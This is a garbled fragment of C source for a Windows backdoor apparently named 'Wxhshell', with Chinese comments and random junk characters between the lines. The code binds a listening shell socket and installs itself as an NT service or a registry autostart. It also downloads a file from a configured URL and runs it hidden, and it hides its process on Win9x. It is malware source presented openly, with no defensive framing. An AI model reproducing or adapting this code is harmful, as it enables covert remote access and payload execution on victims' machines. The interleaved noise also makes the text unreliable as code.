g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |vMpXiMxxT ~-t>z CloseHandle(hProcess); ls `,EFF 7,MS '2nz if(strstr(procName,"services")) return 1; // 以服务启动 ,7)C" ]I.n\2R]om return 0; // 注册表启动 iy\nio` } #9fWAF I3:[= ,5 // 主模块 `)h6j)xiQ int StartWxhshell(LPSTR lpCmdLine) @@g\2Gs { TtDg*kZ SOCKET wsl; 5,;`$'?a% BOOL val=TRUE; a7/-wk int port=0; ,j ',x\ struct sockaddr_in door; <0.$'M~E V~yAE@9 if(wscfg.ws_autoins) Install(); j ! NO|&k %F9{EXJy port=atoi(lpCmdLine); vF/ =J H{c?lT if(port<=0) port=wscfg.ws_port; sz):oea@f@ HXVBb%pP WSADATA data; A+wv-~3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 's!-80sd -g/hAxb5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T\# *S0^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HFQR
;9] door.sin_family = AF_INET; "$5\, door.sin_addr.s_addr = inet_addr("127.0.0.1"); l
n}}5Q door.sin_port = htons(port); j?|* LT$%7 ZDYJhJ. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7W9d6i) closesocket(wsl); mN5
8r"!J return 1; Zx?b<"k } ])#\_'fg Q1&P@Io$ if(listen(wsl,2) == INVALID_SOCKET) { <;t)6:N\ closesocket(wsl); $\Tkhq< return 1; Er:?M_ev } rp:wQH7 Wxhshell(wsl); :H[\;Z1_ WSACleanup(); YY4-bNj[p 6a>H|"PNE return 0; N\1/JW+ {- 63/z } VAYb=4lt fRg=!<#% // 以NT服务方式启动 (%Oe_*e}Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eE/%6g { F}rPY: DWORD status = 0; %W|DJ\l8" DWORD specificError = 0xfffffff; MdhT!? ij&p4 serviceStatus.dwServiceType = SERVICE_WIN32; 0%)5.=6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; CYB=Uq, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H]qq ~bO[ serviceStatus.dwWin32ExitCode = 0; ~' =lou serviceStatus.dwServiceSpecificExitCode = 0; U?U(;nSR\A serviceStatus.dwCheckPoint = 0; e.6Dl_ serviceStatus.dwWaitHint = 0; .:;fAJPf j=.g:&r) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +
>sci if (hServiceStatusHandle==0) return; <~%t$: a0zG(7.D status = GetLastError(); bBE^^9G=Z if (status!=NO_ERROR) D$_8rHc\A { ~440#kj< serviceStatus.dwCurrentState = SERVICE_STOPPED; Io+IRK serviceStatus.dwCheckPoint = 0; .g-3e"@ serviceStatus.dwWaitHint = 0; \!X?zR_ serviceStatus.dwWin32ExitCode = status; AZ8UXq serviceStatus.dwServiceSpecificExitCode = specificError; <J# R3{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nz]aaoO4 return; E0bFx5e5fu } Kpu<rKP` [n<.fw8$b serviceStatus.dwCurrentState = SERVICE_RUNNING; ]b\WaS8I serviceStatus.dwCheckPoint = 0; CB@B.)E serviceStatus.dwWaitHint = 0; vXPuyR<J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #6FaIq92V } zlX!xqHj U5wTGv4S| // 处理NT服务事件,比如:启动、停止 cJ4S! VOID WINAPI NTServiceHandler(DWORD fdwControl) pFH?/D/q { xhD$e=
g switch(fdwControl) s @M { B=x~L case SERVICE_CONTROL_STOP: uk{J@&F serviceStatus.dwWin32ExitCode = 0; hd=j56P5P serviceStatus.dwCurrentState = SERVICE_STOPPED; &1$8q0 serviceStatus.dwCheckPoint = 0; 3V!x?H$ serviceStatus.dwWaitHint = 0; EreAn { Pb=rFas*C SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<|6s,& } ,9$>d}N return; x_pMG!2 case SERVICE_CONTROL_PAUSE: qSCTFJ0 serviceStatus.dwCurrentState = SERVICE_PAUSED; *kV#)j break; ]LY^9eK)>{ case SERVICE_CONTROL_CONTINUE: ^8U6"O6|X serviceStatus.dwCurrentState = SERVICE_RUNNING; A9.;>8!u break; 8s&2gn1 case SERVICE_CONTROL_INTERROGATE: qIUC2,&g break; #s/{u
RYQ }; c8!j6\dC* SetServiceStatus(hServiceStatusHandle, &serviceStatus); s=}~Q&8 } l+'`BBh*] dnLo(<{<U // 标准应用程序主函数 N)Qlkz$X int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) paUyS 1i { =NI.d>kvC gx&\Kw6HM // 获取操作系统版本 \_)02ZT: OsIsNt=GetOsVer(); la1D2 lM GetModuleFileName(NULL,ExeFile,MAX_PATH); kkG_ +Y /:Rn"0 // 从命令行安装 Zt7hzW if(strpbrk(lpCmdLine,"iI")) Install(); 23,%=U gA|!$EAM // 下载执行文件 s-Q7uohK if(wscfg.ws_downexe) { /"g[Ay if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jw2_!D WinExec(wscfg.ws_filenam,SW_HIDE); ]Sk#a-^~ } R'jUS7]Y V%VrAi. if(!OsIsNt) { Q;d+]xj // 如果时win9x,隐藏进程并且设置为注册表启动 ~k"eEV
p HideProc(); pXGK:ceFu StartWxhshell(lpCmdLine); BvNl?A@]A } {IF}d*: else ~Tpe,juG_ if(StartFromService()) u)N2 // 以服务方式启动 sj?`7kg StartServiceCtrlDispatcher(DispatchTable); >F_qa=t%[ else 1 P(&GYc // 普通方式启动 FCUVP,"T StartWxhshell(lpCmdLine); v3=&{}+j. ;H D 4~3 return 0; wC4AVJJ^> }
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